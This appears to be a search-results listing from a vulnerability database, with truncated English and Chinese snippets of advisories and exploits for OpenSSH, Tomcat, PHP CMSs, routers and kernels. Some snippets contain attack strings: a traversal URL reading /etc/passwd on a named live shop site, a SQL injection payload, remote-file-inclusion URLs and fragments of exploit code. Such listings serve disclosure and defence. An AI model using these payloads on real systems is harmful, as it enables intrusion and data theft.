56796 matches found
FreeBSD OpenSSH 3.5p1 - Remote Root Exploit
No description provided by source. OpenSSH 3.5p1 Remote Root Exploit for FreeBSD Discovered and Exploited By Kingcope Year 2011 -- The last two days I have been investigating a vulnerability in OpenSSH affecting at least FreeBSD 4.9 and 4.11. These FreeBSD versions run OpenSSH 3.5p1 in the defaul...
ShopE旗下产品ECstore任意文件遍历漏洞
简要描述： ShopE旗下产品ECstore任意文件遍历漏洞 详细说明： 官方主站： http://ecstore.shopex.cn/ 在官方宣传上有成功案例： http://mall.brands.com.tw/ec http://mall.brands.com.tw/ec/index.php/tools-staticPage.html?filename=../../../../../../../../../../etc/passwd 漏洞证明：...
KINGOSOFT高校网络教学平台一系列严重问题
简要描述： KINGOSOFT高校网络教学平台一系列严重问题 详细说明： KINGOSOFT高校网络教学平台是青果软件的另一产品，发现有严重的安全隐患。 1.文件读取漏洞 这个系统是J2EE开发，我们来访问（实际测试地址不方便放出，因为是学校） http://test.com/testpath/download.jsp?downfile=WEB-INF/web.xml 得到  CASFilter edu.yale.its.tp.cas.client.filter.CASFilter edu.yale.its.tp.cas.client.filter.loginUrl...
Linux Kernel审计系统audit_syscall_entry()系统调用绕过安全限制漏洞
BUGTRAQ ID: 33951 Linux Kernel是开放源码操作系统Linux所使用的内核。 Syscall过滤技术通常基于由编号确定的syscall或具体参数来确认是否允许执行调用。在通过编号确定syscall时，64位Linux内核（x8664）上syscall编号可能既映射到32位又映射到64位的syscall表，而这两种syscall表是不同的。由于用户空间进程是由 syscall表控制的，因此可以绕过syscall编号检查，执行非授权操作。 例如，syscall过滤技术可能在监控64位进程，且配置为允许常见的open syscall的子集，在64位平台上为syscal...
Oracle 2008年10月紧急补丁更新修复多个漏洞
BUGTRAQ ID: 31683 CVECAN ID:...
Apache Tomcat <= 6.0.18 UTF8 Directory Traversal Vulnerability
No description provided by source. Title: Apache Tomcat Directory Traversal Vulnerability Author: Simon Ryeobar4mi at gmail.com, barami at ahnlab.com Severity: High Impact: Remote File Disclosure Vulnerable Version: prior to 6.0.18 Solution: - Best Choice: Upgrade to 6.0.18 http://tomcat.apache.o...
IE11: Use-after-free in Js::RegexHelper::RegexReplace(CVE-2018-0866)
There is a Use-after-free vulnerability in Internet Explorer that could potentially be used for memory disclosure. This was tested on IE11 running on Window 7 64-bit with the latest patches applied. Note that the PoC was tested in a 64-bit tab process via TabProcGrowth=0 registry flag and the pag...
Chrome < 62 UXSS(CVE-2017-5124)
No description provided by source. PoC.mht ------------------------- MIME-Version: 1.0 Content-Type: multipart/related; type="text/html"; boundary="----MultipartBoundary--" CVE-2017-5124 ------MultipartBoundary-- Content-Type: application/xml; ------MultipartBoundary-- Content-Type: text/html...
One of my first sandbox escapes and bugs (CVE-2015-1743)
Advisory link: http://www.zerodayinitiative.com/advisories/ZDI-15-377/ CVE-2015-1743 Demo: https://www.youtube.com/watch?v=6Vtl8kh6keQ Below is one of my first sandbox escapes, and my entry into vulnerability research. My first bugs relied heavily on the work that Forshaw did my later ones deviat...
BookingeCMS HotelCMS酒店预订管理系统provinceId参数存在注入
0x01 漏洞简述 提交时间： 2015-09-04 13:33 公开时间： 2015-12-06 09:00 漏洞类型： SQL注射漏洞 珠海中新信息科技有限公司开发的BookingeCMS HotelCMS /?m=city.getCity 文件provinceId参数存在注入 0x02 漏洞利用 测试Payload: （post提交） /?m=city.getCity provinceId=1' AND SELECT 7525 FROMSELECT COUNT,CONCAT0x7c,MIDIFNULLCASTCURRENTUSER AS...
YXcms伪造cookie绕过验证任一用户登录
简要描述： 源代码中有对cookie的加解密函数，可以伪造cookie，而且程序使用cookie进行权限验证，可以实现任一用户登录。 详细说明： Protected/apps/members/controller/indexController.php public function login if!$this-isPost//不使用post时 $cookieauth=getcookie'auth';//此时直接从cookie中获取认证信息，我们跟进getcookie函数看能否伪造cookie绕过认证 if!empty$this-auth...
Apache Commons FileUpload and Apache Tomcat - Denial-of-Service
No description provided by source. CVE-2014-0050 Apache Commons FileUpload and Apache Tomcat Denial-of-Service Author: Oren Hafif, Trustwave SpiderLabs Research This is a Proof of Concept code that was created for the sole purpose of assisting system administrators in evaluating whether their...
Mail Manage EX 3.1.8 MMEX Script Settings Parameter Remote PHP File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/10457/info Mail Manage EX is reportedly prone to a remote file include vulnerability. This vulnerability results from insufficient sanitization of user-supplied data and may allow remote attackers to include arbitrary PHP...
Bitrix Site Manager用户身份欺骗漏洞
CVECAN ID: CVE-2013-6788 Bitrix Site Manager是一款web站点管理工具。 Bitrix Site Manager中的预购电子存储模块显示时，没能充分核查数据的真实性，远程未经认证的用户可以更改“BITRIXSMSALEUID”的cookie，浏览其他用户的购物信息和执行某些操作，如添加或删除购物车中的物品。 0 Bitrix Site Manager=12.5.13 厂商补丁： Bitrix ----- 升级"sale"模块到14.0.1版本，请到厂商的主页下载：...
Adobe ColdFusion 验证绕过漏洞(CVE-2013-0625)
CVE ID:CVE-2013-0625 Adobe ColdFusion是一款高效的网络应用服务器开发环境 Windows, Macintosh和UNIX下的Adobe ColdFusion存在一个安全漏洞，允许未授权用户远程绕过验证控制，控制受影响的服务器。 此漏洞仅影响没有启用密码保护或没有设置密码的ColdFusion客户 0 Adobe ColdFusion 10 Adobe ColdFusion 9.0.2 Adobe ColdFusion 9.0.1 Adobe ColdFusion 9.0 厂商解决方案...
Linux Kernel OOPS "qdisc_dev()"引用远程拒绝服务漏洞
BUGTRAQ ID: 48641 CVE ID: CVE-2011-2525 Linux Kernel是Linux操作系统的内核。 Linux Kernel在qdiscdev引用的实现上存在远程拒绝服务漏洞，本地攻击者可利用此漏洞造成内核崩溃。 不应为内建qdisc调用tcfillqdisc或使其引用空指针以获取设备ifindex。 Linux kernel 2.6.x 厂商补丁： Linux ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://www.kernel.org/...
Oracle GlassFish Server管理控制台远程验证绕过漏洞
Bugtraq ID: 47818 CVE ID：CVE-2011-1511 Sun GlassFish Enterprise Server是一款构建和部署下一代应用程序和服务的开源和开放社区平台。 管理控制台允许通过HTTP TRACE方法无需验证进行访问，攻击者可以利用此漏洞绕过验证机制获得对某些信息的访问，如日志查看器或JDBC连接池属性信息 Sun Glassfish Enterprise Server 2.1.1 Oracle Glassfish Server 3.0.1 厂商解决方案 Oracle Glassfish Server 3.1已经修复此漏洞，建议用户下载使用：...
Mambo Component SimpleBoard <= 1.0.1 Arbitrary File Upload Exploit
No description provided by source. !/usr/bin/perl use warnings; use strict; use LWP::UserAgent; use HTTP::Request::Common; my $fname = rand99999 . ".php"; no int print INTRO; - SimpleBoard Mambo Component = 1.0.1 - - Remote Arbitrary File Upload Exploit - Discovered && Coded by: t0pP8uZz Discover...
PHP-Nuke Module PostGuestbook 0.6.1 (tpl_pgb_moddir) RFI Vulnerability
No description provided by source. PostGuestbook 0.6.1tplpgbmoddirRemote File Include Expliot D.Script: http://sourceforge.net/projects/postguestbook/ Dork: "Powered by: PostGuestbook 0.6.1" Discovered by GloDM = Mahmoodali Homepage: http://www.Tryag.cc Greetz To Tryag-Team & 4lKaSrGoLd3n-Team &...
Bitmain Antminer D3/L3+/S9 - Remote Command Execution(CVE-2018-11220)
Exploit Title: Bitmain Antminer D3, L3+, and S9 devices allow Remote Command Execution Google Dork: N/A Date: 27/05/2018 Exploit Author: Corrado Liotta Vendor Homepage: https://www.bitmain.com/ Software Link: N/A Version: Antminer - D3, L3+, S9, and other Tested on: Windows/Linux CVE :...
GOAHEAD 命令执行漏洞(CVE-2017-17562)
INTRODUCTION This blog post details CVE-2017-17562, a vulnerability which can be exploited to gain reliable remote code execution in all versions of the GoAhead web server 3.6.5. The vulnerability is a result of Initialising the environment of forked CGI scripts using untrusted HTTP request...
Nvidia Windows Kernel Mode Driver Denial Of Service(CVE-2016-8823)
Summary An local denial of service vulnerability exists in the communication functionality of Nvidia Windows Kernel Mode Driver. A specially crafted message can cause a vulnerability resulting in a machine crash BSOD. An attacker can send a specific message to trigger this vulnerability. Tested...
ISPConfig <= 3.0.5.4p7 monitor/show_sys_state.php SQL注入漏洞
因为不完整地过滤导致了SQL注入, 通过HTTP GET方式传递的server参数给了 /monitor/showsysstate.php页面攻击者可以传入任意恶意SQL命令并在数据库中执行该漏洞的成功的利用可以让攻击者获得数据库的读写权限甚至危机整个web应用但是该漏洞此时仍然是一个鸡肋漏洞, 因为攻击者要进行此攻击必须是认证通过的用户而且还需要有monitor权限然而, 结合CSRF Cross-Site Request Forgery in ISPConfig:...
concrete5 CMS 5.6.1.2 - Multiple Vulnerabilities
No description provided by source. ============================================================= \ \ / / | | / \ / | | \ \ V / | | | | | | | | | / \ | ' \ | | | | | | | | | | | | '| | / / . \ | | | | | | || | | | | | | | | | // \ | ./ || / || || |/ || | | || blackpentesters.blogspot.com...
PHP-Nuke <= 7.9 Final (phpbb_root_path) Remote File Inclusions
No description provided by source. Milli-Harekat Advisory www.milli-harekat.org PHP-Nuke = All version - Remote File Include Vulnerabilities Risk : High Class: Remote Script : PHP NUKE ALL VERSION Credits : ERNE Thanks : DjReMix,Eskobar,TRIP,ßy KorsaN,OsL3m7,Poizonbox,Dilejyoner and All MHG USERS...
Java Web Start Launcher ActiveX Control - Memory Corruption
No description provided by source. SEC Consult Vulnerability Lab Security Advisory 20130417-1 ======================================================================= title: Java ActiveX Control Memory Corruption product: JavaTM Web Start Launcher vulnerable version: Sun Java Version 7 Update 17 a...
Linux Kernel本地权限提升漏洞
Bugtraq ID:64291 CVE ID:CVE-2013-6368 Linux Kernel是一款开源的操作系统。 如果用户空间提供的vapicaddr地址在页面的末尾，KVM kvmlapicsyncfromvapic和kvmlapicsynctovapic在处理跨页边界的虚拟APIC存取时存在内存破坏漏洞，非特权本地用户可利用该缺陷使系统崩溃或提升权限。 0 Linux Kernel 厂商补丁： redhat ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...
php: XSLT file writing vulnerability(CVE-2012-0057)
No description provided by source. Description: ------------ Current version of PHP5 allow creation of arbitrary files when processing XSLT content. This was tested on the following releases : - PHP 5.3.2-1ubuntu4.7 with Suhosin-Patch cli built: Jan 12 2011 18:36:08 - PHP 5.3.6 cli built: Apr 1...
Apache Tomcat SecurityManager Security Bypass Vulnerability
Bugtraq ID:46177 CVE:CVE-2010-3718 Apache Tomcat is prone to a security-bypass vulnerability. Successful exploits will allow attackers to bypass certain security restrictions and gain access to arbitrary files and directories in the context of the web server. This issue affects Apache Tomcat...
phpwind pw_ajax.php和class_other.php页面远程代码执行漏洞
phpwind较高版本论坛中存在一个严重的漏洞，成功利用该漏洞可以远程执行任意php代码 pwajax.php中的 elseif $action == 'pcdelimg' InitGParray'fieldname','pctype'; InitGParray'tid','id',2; if !$tid || !$id || !$fieldname || !$pctype echo 'fail'; $id = int$id; if $pctype == 'topic' $tablename = GetTopcitable$id; elseif $pctype == 'postcate'...
Spring Framework class.classLoader类远程代码执行漏洞
BUGTRAQ ID: 40954 CVE ID: CVE-2010-1622 Spring是一个广泛部署的开源架构，帮助开发人员构建高质量的应用。 Spring框架提供了允许使用客户端所提供的数据来更新对象属性的机制，而该机制允许攻击者修改用于通过class.classloader加载对象的类加载器的属性，这可能导致执行任意命令。例如，攻击者可以将类加载器所使用的URL修改到受控的位置。 0 SpringSource Spring Framework 3.0.0 - 3.0.2 SpringSource Spring Framework 2.5.0 - 2.5.7 厂商补丁：...
BlogMe PHP (comments.php id) SQL Injection Vulnerability
No description provided by source. + BlogMe PHP remote SQL injection exploit + Script download : http://www.drumster.net/gamma/downloads/BlogMe11.zip + Founded by : His0k4 ALGERIAN HaCkEr + Greetz : All friends & muslims HaCkeRs... + Dork : "BlogMe PHP created by Gamma Scripts" + Exploit :...
Mono System.Math BigInteger整数溢出漏洞
BUGTRAQ ID: 26279 CVECAN ID: CVE-2007-5197 Mono是基于.NET框架的开源开发平台，允许开发人员构建Linux和跨平台的应用。 Mono的Mono.Math.BigInteger类在实现BigInteger数据类型时存在整数溢出漏洞，允许本地攻击者执行任意指令。 Mono Mono 2.0 Mono Mono 1.x 厂商补丁： Debian ------ Debian已经为此发布了一个安全公告（DSA-1397-1）以及相应补丁: DSA-1397-1：New mono packages fix integer overflow...
PHPtree 1.3 (cms2.php s_dir) Remote File Inclusion Vulnerability
No description provided by source. PHPtree Remote file inclusion sdir Download script : http://www.phptree.de/content/download/public/phptree/phptreev1.3.zip Thanks Str0ke Exploit http://site.com/phptreepath/plugin/HPDEV/cms2.php?sdir=shell.txt? Discovered by : ThE TiGeR MiroTiger100atHotmaildotc...
MamboWiki Component MamboLogin.PHP远程文件包含漏洞
MamboWiki是一款基于Mambo的WIKI程序。 MamboWiki不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB进程权限执行任意命令。 问题是'MamboLogin.PHP'脚本对用户提交的WEB参数缺少过滤，提交恶意的远程服务器作为包含对象，可导致以WEB进程权限执行任意PHP代码。 MamboXChange MamboWiki 0.9.4 暂无 http://www.example.com/sitepath/joomlapath/components/commambowiki/MamboLogin.php?IP=http://www.example.com...
Brim <= 1.2.1 (renderer) Multiple Remote File Include Vulnerabilities
No description provided by source. Brim 1.2.0pre3 , 1.2.1 renderer Remote File Include Vulnerability Turkish Hacker's Discovered By : mdx and TheBatHacker ------------------------------------------------------ Cyber-Warrior TIM Ay ve Y.ld.zlar Geceye Yak...r... the moon and the stars suit the nig...
GitLab 未授权RCE漏洞（CVE-2021-22192）
When rendering wiki content with certain extensions such as .rmd, renderwikicontent will call othermarkupunsafe which will end up calling GitHub::Markup.render from the github-markup gem. Files with any extension can be uploaded by checking out the wiki with git, commiting the files and pushing t...
TP-Link WR841N code execution( CVE-2017-9466)
CVE-2017-9466: Why Is My Router Blinking Morse Code? We recently discovered two vulnerabilities in TP-Link’s WR841N V8 router that we exploited to obtain custom code execution on the router. After working closely with the vendor to patch the router’s firmware, we are disclosing the details of our...
泛微OA某接口无需登录可执行任意SQL语句（附脚本）
简要描述： 荒废了 啥都不会 找工作啊 详细说明： 先以本地为例 http://localhost:8088/ws http://localhost:8088/ws/query?wsdl 竟然提示 Unmarshalling Error: unexpected element uri:"http://.../", local:"arg0". Expected elements are arg1,arg0 搜索 提示是参数问题 改代码肯定是不行的 那就改参数吧 ORA-00900: 无效 sql 语句 看来是可以的 更改第一个参数 select...
DESTOON前台getshell
简要描述： 如题。。 详细说明： \module\know\answer.inc.php 143 - 161行 case 'raise': //这个功能是 "知道功能" 悬赏的次数更新,因为默认只允许2次提高悬赏的次数 if$credit $credit dalert$L'lackcredit', 'goback'; $couldraise = $couldadmin;//是否是 "知道"发布的作者. if$item'process' != 1 $couldraise = false; if$item'raise' = $MOD'maxraise' $couldraise = false...
Destoon最新 V5.0-UTF8 正式版命令执行漏洞（后台）
简要描述： RT 详细说明： 后台一处命令执行漏洞，可添加系统账户。 漏洞位于admin/tag.inc.php case 'preview': $db-halt = 0; $destoontask = ''; if$tagcss $tagcss = stripslashes$tagcss; if$taghtmls $taghtmls = stripslashes$taghtmls; if$taghtmle $taghtmle = stripslashes$taghtmle; if$tagcode $tagcode = stripslashes$tagcode; if$tagjs...
MS15-061 Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)
No description provided by source. include include / Exploiting MS15-061 with reverse engineering Win32k.sys by steps : 1: hook PEB callback Function 2: trigger vulnerability make proper Window to lead vulnerable function 3: replace fake object with NtUserDefSetText in Desktop heap inside PEB...
MediaWiki Thumb.php - Remote Command Execution
No description provided by source. This module requires Metasploit: http//metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework require 'msf/core' class Metasploit3 Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def...
ezEIP 3 /download.ashx 任意文件下载漏洞
No description provided by source...
KCFinder 'browse.php'任意文件上传漏洞
Bugtraq ID:66443 KCFinder是CKEditor的一个开源文件管理器插件。 KCFinder 'browse.php'脚本不正确过滤用户提交的上传文件，允许攻击者利用漏洞上传恶意文件并执行。 0 KCFinder 2.51 - 2.53 目前没有详细解决方案提供： http://kcfinder.sunhater.com/...
Ecmall 2.3.0本地文件包含漏洞
简要描述： 文件包含，受到gpc和php版本限制 详细说明： 漏洞文件：admin/app/plugin.app.php 思路来源于： WooYun: Ecmall 2.3 File Inclusion Vulnerability（鸡肋） function getplugininfo$id //id参数存在文件包含漏洞 $plugininfopath = ROOTPATH . '/external/plugins/' . $id . '/plugin.info.php'; return include$plugininfopath;...
Linux Kernel 'CIFSFindNext()'函数拒绝服务漏洞
Bugtraq ID: 49295 CVE ID：CVE-2011-3191 Linux是一款开放源代码的操作系统。 "CIFSFindNext"函数fs/cifs/cifssmb.c存在一个符号相关错误，发送特制的CIFS消息可使客户端崩溃。 要成功利用漏洞需要使用恶意服务器。 Linux kernel 2.6.x 厂商解决方案 目前没有详细解决方案提供： http://www.linux.org/...
Postfix SMTP Server Cyrus SASL支持内存破坏漏洞
BUGTRAQ ID: 47778 CVE ID: CVE-2011-1720 Postfix是Unix类操作系统中所使用的邮件传输代理。 Postfix SMTP Server在实现上存在Cyrus SASL支持内存破坏漏洞，在启用了Cyrus SASL支持时可影响SMTP服务器，远程攻击者可利用此漏洞执行任意代码或造成拒绝服务。 启用了SASL验证时，Postfix SMTP Server为每个SMTP会话创建了一个SASL句柄，在关闭SMTP连接前会一直使用此句柄。根据Cyrus SASL include源文件的注释，服务器在客户端验证失败后不应重新使用Cyrus...